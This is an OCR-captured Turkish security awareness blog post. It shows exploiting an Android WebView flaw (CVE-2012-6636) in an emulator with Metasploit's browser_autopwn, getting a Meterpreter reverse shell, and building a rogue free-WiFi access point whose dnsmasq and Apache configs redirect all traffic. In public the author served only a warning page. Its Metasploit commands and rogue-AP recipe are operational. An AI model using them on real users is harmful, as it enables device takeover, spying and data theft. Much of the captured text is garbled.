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Her yil oldugu gibi bu yil da glivenlik firmalari tarafindan hazirlanan
guvenlik tahminleri raporlarini (6rnek) inceleyecek olursaniz yine mobil
givenligin bu raporlarda 6ne ciktigini gorebilirsiniz. Ozellikle Android gibi
guncellenmesi telefon Ureticisinin insiyatifine kalmis olan isletim
sistemlerini kullanan kullanicilar, belki de yillarca zafiyet barindiran bu
sistemler ile yasamak zorunda kaliyorlar.

Bu durumun koétiye kullanilma senaryolarindan bir tanesi, mobil isletim
sisteminizde yer alan ve zafiyet barindiran mobil internet tarayicisi ile
ziyaret ettiginiz zararli web sitesinde yer alan zararli kodun, cep
telefonunuzda calismasi sonucunda art niyetli kisilerin kontroline gecmesi
olabilir. Cep telefonunuzu kontrol eden art niyetli kisi veya kisiler,
kameraniz ile sizden habersiz fotograf cekebildigi gibi tim rehberinizi
izinsiz olarak kopyalayabilirler.

Bu tir bir durumla karsilasmama adina c¢ogu zaman bilmedigimiz, sipheli web
sitelerini ziyaret etmekten kaginiriz. Fakat ayni dikkati, oturdugumuz bir
cafede veya gezdigimiz bir AVM (alisveris merkezi)'de yayin yapan kablosuz
erisim noktasina baglanirken gostermeyiz ve bunun da benzer bir sonuca yol

acacagil cogunlukla aklimizin ucundan bile gecmez.

Ben de bu yazi ile guvenilir olmayan kablosuz erisim noktasina baglanmanin
kullanicilar i¢in ne denli kotl bir sonuca yol agabilecegine, Urettigim bir
senaryo ile dikkat cekmek istedim ve hemen ise koyuldum.

Oncelikle Android 4.2.2 dncesinde tiim Android siirimlerini etkileyen bir
zafiyetin (CVE-2012-6636), istismar edilerek nasil kotiye kullanilabilecegini
gostermek istedim. Bunun icin Android SDK ile gelen Android Virtual Device
(AVD) Manager uzerinde Android 4.1.2 yuklu bir sanal makine olusturup,
oykunucu (emulator) ile calistirdim. Ardindan Metasploit Uzerinde bulunan ve
baglanti kuran internet tarayicisini ve eklentilerini otomatik olarak
algilayip (user-agent), 21 tane istismar kodu arasindan buna uygun istismar
kodu gondererek hedef sistem lUzerinde uzaktan kod calistirmaya imkan taniyan
Auto Pwn moduldnu calistirdim. Son olarak oyklnucude calisan Android’in
internet tarayicisi ile Metasploit’in Browser Autopwn modilinidn yukld oldugu
adrese baglandigimda Metasploit lzerinde Meterpreter oturumu basariyla
kurulmus oldu. Burada Urkdtucu olan kisim, meterpreter oturumu Uzerinden ses


https://www.hack4career.com/evil-pi/
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/reports/rpt-the-invisible-becomes-visible.pdf
http://www.neowin.net/news/after-throwing-microsoft-under-the-bus-google-wont-patch-flaw-affecting-nearly-1bn-users
http://www.rapid7.com/db/modules/exploit/android/browser/webview_addjavascriptinterface
http://developer.android.com/tools/help/avd-manager.html
http://www.rapid7.com/db/modules/auxiliary/server/browser_autopwn

ve goruntu kaydinin rahatlikla yapilabilecek olmasiydi.

AVD Mame: | HackA4Career

Device: | Mexus 5 (4.0", 480 = 300: hdpi)

Target: |Andmid 4.1.2 - APl Level 16

CPU/ABL ARM (armeabi-v7a)

Keyboard: Hardware keyboard present

Skin: | No.skin

Front Camera: | MNone

Back Camera; | Mone

ey O (345 |waren (2

Internal Storage: | 200 | |MiE v|

5D Card:

@ Size: | 128 Mg v

() File: Browse...

Emulation Options: []Snapshot [ ]Use Host GPU

[ ] Override the existing AVD with the same name




root@kali:~# msfconsole
[#] starting the Metasploit Framework console.../

3xkom SuperHack IT Logon

User MName: [ security ]
Password: [ ]
[ ok ]

http://metasploit.pro

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
vMetasploit Pro -- learn more on http://rapid?.com/metasploit

metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
1378 exploits - 777 auxiliary - 222 post ]

342 payloads - 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp ]
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msf = use auxiliary/server/browser_autopwn

msf auxiliary({browser_autopwn) > set lhost 192.168.201.191
Thost == 192.168.201.191

msf auxiliary(browser_autopwn) > set uripath /

uripath == /

msf auxiliary(browser_autopwn) > run



starting explolt multi/browser/Jjava_rhino with payload java/meterpreter/reverse_tcp

Using URL: nttp://0.0.0.0:8080/Q5YVUpGeg

Local IP: http://192.168.201.191:8080/Q5YVUpGeg

Server started.

starting exploit multi/browser/java_verifier_field_access with payload java/meterpreter/reverse_tcp
Using URL: nttp://0.0.0.0:B080/HAZsYaLpIe

Local IP: http://192.168.201.191:8080/HAZsYaLple

Server started.

starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp

Using URL: nttp://0.0.0.0:8080/gDGhHUGaN

Local IP: http://192.168.201.191:8080/gbchHUGan

Server started.

starting exploit windows/browser /adobe_flash_mp4_cprt with payload windows/meterpreter /reverse_tcp
Using URL: nttp://0.0.0.0:8080/BjTgMwOXKITNa

Local IP: http://192.168.201.191:8080/BjTgMwOXKITNa

Server started.

starting exploit windows/browser /adobe_flash_rtmp with payload windows/meterpreter/reverse_tcp
Using URL: nttp://0.0.0.0:B8080/NEWGrGnIiI

Local IP: http://192.168.201.191:8080/NEWGrGnliI

Server started.

starting exploit windows/browser/ie_cgenericelement_uaf with payload windows/meterpreter/reverse_tcp
uUsing URL: nttp://0.0.0.0:8080/tRwvXe

Local IP: http://192.168.201.191:8080/TRwvXe

server started.

starting exploit windows/browser/ie_createobject with payload windows/meterpreter /reverse_tcp
Using URL: nttp://0.0.0.0:8080/R1fwuU0

Local IP: http://192.168.201.191:8080,/R1fwuU0

server started.

starting exploit windows/browser/ie_execcommand_uaf with payload windows/meterpreter/reverse_tcp
Using URL: nttp://0.0.0.0:8080/pbpnyjch

Local IP: http://192.168.201.191: 8080/pbpnijb

server started.

starting exploit windows/browser /mozilla_nstreerange with payload windows/meterpreter/reverse_tcp
uUsing URL: nttp://0.0.0.0:8080/0xYPsL

Local IP: http://192.168.201.191:8080,/0xYPsL

server started.

starting exploit windows/browser/ms12_004_midi with payload windows/meterpreter/reverse_tcp

uUsing URL: nhttp://0.0.0.0:8080/mzdg

Local IP: http://192.168.201.191:8080/mzdg

server started.

starting exploit windows/browser,/ms13_080_cdisplaypointer with payload windows/meterpreter/reverse_tcp
uUsing URL: nttp://0.0.0.0:8080/FQGY]jp

Local IP: http://192.168.201.191:8080,/FQGY]p

server started.

starting exploit windows/browser/ms14_064_ole_code_execution with payload windows/meterpreter/reverse_tcp
uUsing URL: nttp://0.0.0.0:8080/uwlaalm

Local IP: http://192.168.201.191:8080,/uwuaalm
server started.
starting exploit windows/browser /msxm]_get_definition_code_exec with payload windows/meterpreter/reverse_tcp
uUsing URL: nttp://0.0.0.0:8080/FeuirolFvecfo

Local IP: http://192.168.201.191:8080,/FeuiPolFvECfo
server started.
starting handler for windows/meterpreter/reverse_tcp on port 3333
starting handler for generic/shell_reverse_tcp on port 6666
started reverse handler on 192.168.201.191:3333
starting the qay10ad handler...
starting handler for java/meterpreter/reverse_tcp on port 7777
started reverse handler on 192.168.201.191:6666
starting the payload handler.
started reverse handler on 192.168.201.191:7777
starting the payload handler...

--- pone, found 21 exploit modules

[*] using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.201.191:8080/
[*] server started.

msf auxiliary(browser_autopwn) > set LPORT_ANDROID 4444
LPORT_ANDROTD => 4444
msf aux171ary(hrunser autopwn) > set MATCH android

H => andro
msf auwayary(hrunser autopwn) > rexploit -
=] stopping” existing job... @ 5558HackaCareer = |

[*] Cleaning up explaits...

[*] server stopped. ks Carale

Toits...
:FC” ) 192.168.201.191:8080 ﬂ m m

=] Cleaning w e
=] Server stoppe
+] Server stoppe
*] Server stoppe
=] Server stoppe
=] server stoppe
*] server stoppe
*] Server stoppe
=] server stoppe
*] server stopped.
*] Server stopped.
=] server stoppe
=] server stoppe
*] Server stoppe
*] Server stoppe
=] server stoppe
*] server stoppe
*] Server stoppe
=] Server stoppe
=] server stoppe
*] server stopped.
=] Reloading module

=] server stopped

*] auxiliary module execution completed

provide input

Sety)
auxwgmr-y(hrnuser autopwn) > [*] obfuscating initial javascript 2015-01-05 07:42:58 -0500
Done in 0.87502627 seconds
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starting exploit modules on host 192.168.201.191...

starting exploit andru1d/bruwser/webvwew addjavascriptinterface with payload android/meterpreter/reverse_tcp
using URL: http://0.0.0.0:8080/KRQUL

Local IP: http://192.168.201.191: BOEO/KRgqu

Server started.

starting handler for android/meterprater/reversa_tcp on port 4444

started reverse handler on 192.168.201.191:4444

starting the payload handler.
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--- pone, found 1 exploit modules

Using URL: http://0.0.0.0:8080/
Local Ip: http://192.168.201.191:8080/
server started.

192.168.201.1  browser_autopwn - Handling *
192.168.201.1 browser_autopwn - Handling /°sesswd:qwskcmgpznpl.bmmzmuzwqedwskzwzpbmvkonvuzcvmawﬂszlme]zrﬂuzquzvmtWMEYthbGUGQZhbeLWonvuzcvmawﬂzDa%Sd
192.168.201.1 browser_autopwn - Javascript Report: Android:undefined:undefined:undefined:undefined:en-us:armle:chrome:undefined:
¥ .201.1 browser_autopwn - Responding with 1 exploits
192.168.201.1  webview_addjavascriptinterface - Gathering target mrurmamun
192.168.201.1  webview_addjavascriptinterface - sending response HTMI

192.168.201.1 webview_: add]avascmpmnterfa(e - serving armle exp'lmt
sending stage (43586 bytes) to 192.168.20
Meterpreter session 1 opened (192.168.201. 191. 4444 -> 192,168.201.1:56446) at 2015-01-05 07:43:24 -0500
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mst auxiliary(browser_autopwn) > sessions

Active sessions

Information  Connection

1 meterpreter java/android

@ localhost 192.168.201.191:4444 -> 192.168.201.1:56446 (feB0:

msf auxiliary(browser_autopwn) > sessions -1 1

[*] starting interaction with 1...

meterpreter > help

Core Commands

15054 :ff:fel2:3456)

Forward a local port To a remote service
view and modify the routing table

7777777777777 stdapi: Networking commands
command Description Command Description
HﬂE menu ifconfig Display interfaces
background Backgrounds the current session ipconfig Display interfaces
bgkiTl Ki1ls a background meterpreter script portfud
bglist Lists running background scripts route
bgrun Executes a meterpreter script as a background thread
annel Displays information about active channels
close Closes a channel

disable_unicode_encoding

Disables encoding of unicode strings
enable_unicode_encoding

Enables encoding of unicode strings

Stdapi: System Commands

Get the user that the server is running as

LISt running processes

prop into a system command shell

Gets information about the remote system, such as 05

exit Terminate the meterpreter session Command Dpescription
help Help menu

info Displays information about a Post module execute Execute a command
interact Interacts with a channel getuid

irb Drop into irb scripting mode ps

load Load one or more meterpreter extensions shell

quit Terminate the meterpreter session sysinfo

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module stdapi: webcam Commands

use Deprecated alias for 'load’ A B 9 S SO it
write writes data to a channel

Command

pescription

Stdapi: File system Commands record_mic

record audio from the default microphone for x seconds

Take a snapshot from the specified webcam
Play a video stream from the specified webcam

check if device is rooted

Get current lat-long using geolocation

webcam_chat Start a video chat
A webcam_Tist List webcams
Command Description webcam_snap
cat rRead the contents of a file to the screen NehCamEs Erean
C change directory
download Down?oad a file or directory Android commands
edit Edit a file D e TS ST
getlwd print local working directory
?etwd print working directory Ccommand pescription
change local working directory
Ipwd print local working directory check_root
1Is List files dump_calllog Get call log
"lkd'”" Make directory dump_contacts Get contacts list
prd print working directory dump_sms Get sms messages
rm Delete the specified file geclocate
rmdir Remove directory
search search for files
upload upload a file or directory

meterpreter > sysinfo

Computer : locaTlhost
[+13 : Android 4.1.2 - Linux 2.6.29-gc497e41 (armv71)
Meterpreter : java/android

meterpreter >

Istismar kismindan sonra yazimin asil konusu olan,

kablosuz erisim noktasinin nasil

glivenilir olmayan bir

ve ne kadar kolaylikla art niyetli kisiler

tarafindan koétliye kullanilabilecegi sorusuna yanit bulmaya calistaim.

Yanit aramaya basladiktan kisa bir slire sonra aklima soyle bir kotlye

kullanim senaryosu geldi;

noktasi olusturur.
Bunun Uzerinde bir tane web sunucusu calisir.

Erisim noktasina baglanan kullanici, herhangi

Art niyetli kisi Ucretsiz WIFI adinda kablosuz ve sifresiz erisim

bir web sitesine

baglanmaya calistiginda kullanici otomatik olarak Browser Autopwn modilu

calisan Metasploit’e yonlendirilir.

sistemi hacklenir.

Senaryoyu olusturduktan sonra bunu pratige dokmek

Baglanti kuran sistem lzerinde bir zafiyet var ise otomatik olarak

i¢in nelere ihtiyacim

olacagini disiunmeye basladim ve elimdeki donanimlarla bunu 6grenmek icgin

tekrar ise koyuldum.

Ilk olarak hali hazirda elimde bulunan ve lzerinde Kali yikli olan Raspberry

Pi Model B‘yi kablosuz erisim noktasi olarak calistirmak icin calismalara


https://www.kali.org/
http://www.raspberrypi.org/products/model-b/
http://www.raspberrypi.org/products/model-b/

basladim. Kali’'yi kablosuz erisim noktasi olarak kullanabilmek icin lzerine
hostapd ve dnsmasq aracglarini yukledim (apt-get install hostapd dnsmasq).

Ikinci olarak kablosuz a§ sizma testleri icin bicilmis kaftan olan Alfa marka
AWUS036H model USB adaptéri Raspberry Pi’ye baglayip, AccessPoint
Infrastructure / Master kipinde (access point olarak calisabilme 6zelligi)
calistirmaya calistaim. Her zamanki gibi isler yolunda gitmedi. Birincisi
Raspberry Pi Model B’nin guci AWUSO36H’yi calistirmaya yetmedi. Bu sorun beni
yildiramaz diyerek gittim ve Raspberry Pi Model B+ aldim. Bu defa da AWUSO36H
Master kipinde calismadi megerse bu adaptdr master kipinde calismayi
desteklemiyormus. Bu sefer de gidip TP-Link marka WN722N model WIFI USB
adaptor aldim ve nihayet donanimsal sorunlari asmis oldum.

Uclincii olarak dnsmasq ve Apache 404 ydénlendirmesi ile baglanan kullaniciyi
otomatik olarak web sunucusuna yonlendirmek ic¢in duzenlemeler yaptaim.

Kullanicinin gitmek istedigi sayfaya bulunamazsa (404 hata kodu), otomatik
olarak yerel web sunucusunun ana sayfasina yonlendirilir. (Ornek:
http://www.google.com.tr -> http://www.mertsarica.com/uyari.php (10.0.0.1))

Kali B+ - SecureCRT - = Kali B+ - SecureCRT - =
File Edit View Optiens Transfer Script Teols Windew Help File Edit View Options Transfer Script Teels Windew Help
DFLIER R merros <At AR BE5 FHY 0 F L SRR Ererhont <at> BASES TR 6 F 5
«” Kali B+ x 4 b ||+ KaliB+ x 4 b
GNU nano 2.2.6 File: /etc/apachez/sites-enabled/000-default GNU nano 2.2.6 File: /etc/apache?/sites-enabled/default-ssi
<virtualHost *:80> <Ifvodule mod_ss1.c>
serveradmin mert.sarica@gmail.com <virtualHost _default_:443>
serverName www.mertsarica. com serverAdmin mert.sarica@gmail. com

ServerName www.mertsarica.com
DocumentRoot /var /www

<Directory /> DocumentRoot /var /www
OEllt‘i ons FollowsymLinks <Directory />
Allowoverride None Oet'ions FollowsymLinks
</Directory> allowoverride None
<Directory /var /www/> </Directory>
OE'IJU‘ ons Indexes FollowsymLinks Multiviews <Directory /var /www/ >
Allowoverride None Ogtiuns Indexes FollowsymLinks Multiviews
order allow,deny Allowoverride None
allow from all order allow,deny
</Directory> allow from all
</Directorys
scriptalias /cgi-bin/ fusr/1ib/cgi-bin/
<Dw‘r’ector’¥ "/usr/1ib/cgi-bin"> scriptalias /cgi-bin/ /fusr/1ib/cgi-bin/
Allowoverride None <Directory_ "/usr/1ib/cgi-bin">
options +ExecCGI -Multiviews +5ymLinksIfownermatch Allowoverride None
order allow,deny options +ExecCGI -Multiviews +SymLinksIfownermatch
Allow from all order allow,deny
</Directory> Allow from all

</Directory=>

ErrorLog ${APACHE_LOG_DIR}/error.lo
Errorbocument 401 /index.php b ﬁ ErrorLog ${APACHE_LOG_DIR}/error.log
Errorbocument 404 /index.php Errorbocument 401 /index.php
ErrorDocument 500 /index.php ErrorDocument 404 /index.php
ErrorDocument 500 /index.php
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg. # Possible values include: debug, info, notice, warn, error, crit,
LogLevel warn # alert, emerg.
LogLevel warn

customLog ${APACHE_LOG_DIR}/access.log combined
</virtualHost> customLog ${APACHE_LOG_DIR}/ss1_access.log combined

# 55L Engine Switch:
# Enable/Disable 551 for this wvirtual host.

SSLEngine on
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Ready ssh2: AES-256-CTR 3, 1 43Rows 82Cols VT100 CAP NUM

_ Ready ssh2: AES-256-CTR 3, 1  44Rows, 82 Cols

V1100 CAP NUM

Kullanici hangi sayfaya gitmek isterse istesin otomatik olarak yerel web

sunucusuna yoénlendirilir.


http://w1.fi/hostapd/
http://en.wikipedia.org/wiki/Dnsmasq
http://www.alfa.com.tw/products_show.php?pc=34&ps=92
http://www.raspberrypi.org/products/model-b-plus/
http://www.tp-link.com.tr/products/details/?model=TL-WN722N

= Kali B+ - SecureCRT - oiENE Kali B+ - SecureCRT - ol

File Edit View Options Transfer Script Teols Window Help File Edit View Options Transfer Script Tools Window Help

od B[ 4 ] Erter host <Al R nddBBa HEBY @ [ 2| 42 3 [5G0 2 Enternost <A R n BEe FRY @ F

" Kali B+ x 4 | % KaliB+ x <
GNU nano 2.2.6 palll_GhU nanc 2,26 /hostapd/hostapd. conf

# dnsmasg. fnterface=wlan2
#log-queries driver=n180211

ssid=ucretsiz_wifi
# Log lots of extra information about DHCP transactions. channel=9

#log-dhcp #logger_syslog=-1
#logger_syslog_level=1

# Include a another lot of cum‘iguraﬁ on options. #logger_stdout=-1

#conf-file=/etc/dnsmasqg. more. con #logger_stdout_level=2

#conf-dir=/etc/dnsmasq. d

'Iog—fac'i Tity=/var/log/dnsmasq. Tog
address=/#,/10.0.0.1
#address=/google. com/10.0.0.1
interface=wlan2
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1

#no-resolv

Tog-queriesfl

Get Help [§8 writeout [ Read File [ Prev Page QI Cut Text [ Cur Pos
Exit a8 Justify @ where Is QN Next Page Q] unCut Texti§] To Spell

B8 Get Help [ writeout Read File Prev Page J Ccut Text [I& Cur Pos
R Exit B Justify where Is Next page @il uncut Textf] To spell
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Sira web sunucusunun icerigini hazirlamaya geldiginde, etik olarak erisim
noktasina baglananlari web sunucusu lzerinden Metasploit’e yonlendirmek dogru
olmayacagi ic¢in, kullanicilarin farkindaligini arttirma adina hazirlamis
oldugum bir uyari sayfasina yonlendirmeye karar verdim. Bu sayede hem
kullanicilari bu tir siber saldirilara karsi uyarmis hem de bu tur zararli

erisim noktalarina baglanan potansiyel kullanici sayisini 6grenebilecektim.

www.mertsarica.com/uyari.php | -
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Anasayfa Haberler Programiar Medya » Zararl Yazihm Arsivi ELCONLE] llefigim English

UYARI!

e Bu calisma, kullanicilann bilgi gavenligi farkindaligini arthrmak ve giivensiz internet erisim noktalarina karsi
kullanicilan bilinclendirmek amaciyla yapiimigtir.

o Ucretsiz_WIFI erigim noktasi, iglevi olmayan, gecersiz bir erigim noktasidir.

Guvenilirliginden emin olmadiginiz erisim noktalarindan internete baglanmaniz durumunda art niyetli kisiler, =| Sayfalar

sifrelerinizi calabilir, sisteminize zararl yazilim yukleyebilirler.

Givenliginiz icin lUtfen giveniliriginden emin olmadidiniz internet erigim noktalarindan internet baglantisi
4 Haberler
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Uzerinde WIFI adaptéri takili olan Raspberry Pi B+ cihazini, Energizer
tasinabilir harici sarj cihazina baglayip netbook cantama koyduktan sonra o
AVM, bu AVM gezmeye basladim.



http://www.shop.xpalpower.com/index.php?route=product/product&path=20_43&product_id=298
http://www.shop.xpalpower.com/index.php?route=product/product&path=20_43&product_id=298




Iki AVM gezdikten sonra Raspberry Pi’ye baglanan kullanici sayisini

inceledigimde 79 tane tekil MAC adresi oldugunu ve bunlardan 20 tanesinin de

Android 4.4.2'den eski oldugunu gordim.

Bu da bana art niyetli bir kisinin

sadece iki AVM gezerek yaklasik 20 kullanicinin sistemini kisa bir surede

hackleyebilecegini g6stermis oldu.

B:ab:bB:1a:85:-h4
Bre@=18:37:91:11
ac:=?e:17:1e:Yc:la
4:18:-di1:dB:67:el
Brhd-2e:fc:26:a2
cAzee-fh:28:1f:73
B:f2:=fh:ab:ec:-04
c4:85:-A8:85:Yc:1f
c:3azbl:cf:he:cH

=4P:39: 1a 56
t47ie2:3d:-84

e4 25:eV:h9:dB8:F8
fA:=25:-b7:-9f:6b:cf
fA:25:-h7:hBA:68:c?
FA:=27:65:42:c1:2F
27:65:8f:83:1b
Bza9:-d@:41:%9e:8e

sort | undig —i |

9

we —1

CAWindows\system32\cmd.exe

C:sUzerssMert Desktop~Yeni YAZI~webhrgrep DHCPACK dnsmasg. log

C:sUserssMertsDesktop~Yeni YAZIwweh

cut —d " " —f 7




CAWindows\system32\cmd.exe

tslUzerssMHertsDesktopsYeni YAZI~webhrcat android_wversion_unig.txt

"Daluviks1.6.8 (Linux: U; Android

Chu=z=z FRGB3D>: g=ip"
Chuwud655% HuaweillB6552;
Cjava 1.4>"
CLinux; Android -
i Android i
Android u
Android s
Android v
Android :
Android %
Android 2
Android 4
Android 4
Android 4
Android 4
Android 4
3 Android 4
.1 Ccom.dianping.vl
U; Androi
Android <17-4.2.
findroid <i9-4.4.
Android <18-4.3;
Android <19-4.4.
Android <19-4.4.
Android <19-4.4.
roid 6.3.3"

11—
T

2
2
2
2
2
2
4

O ol P G Dot Dol bk oD e i e

gz ipll

SM-Cid1
GT-I175088
LG-DEBZTR
SM-G?78AFQ
SM-N?8080Q
tr—tr;

om_sd_36B8s=

2; 24B8dpi;
2; 488dpi;
328dpi;
2; 32B8dpi;
2; 488dpi;
2; 488dpi;

slserssMertsDesktopsYeni YAZISweh_

Bu calisma ile givenilir olmayan erisim noktalarinin kullanicilar icin ne

kadar tehlikeli olabilecegini tek bir senaryo lzerinden ortaya koymaya

calistim. Umarim farkindalik adina faydali bir calisma olmustur.

Bir sonraki yazida gorismek dilegiyle herkese glvenli glinler dilerim.




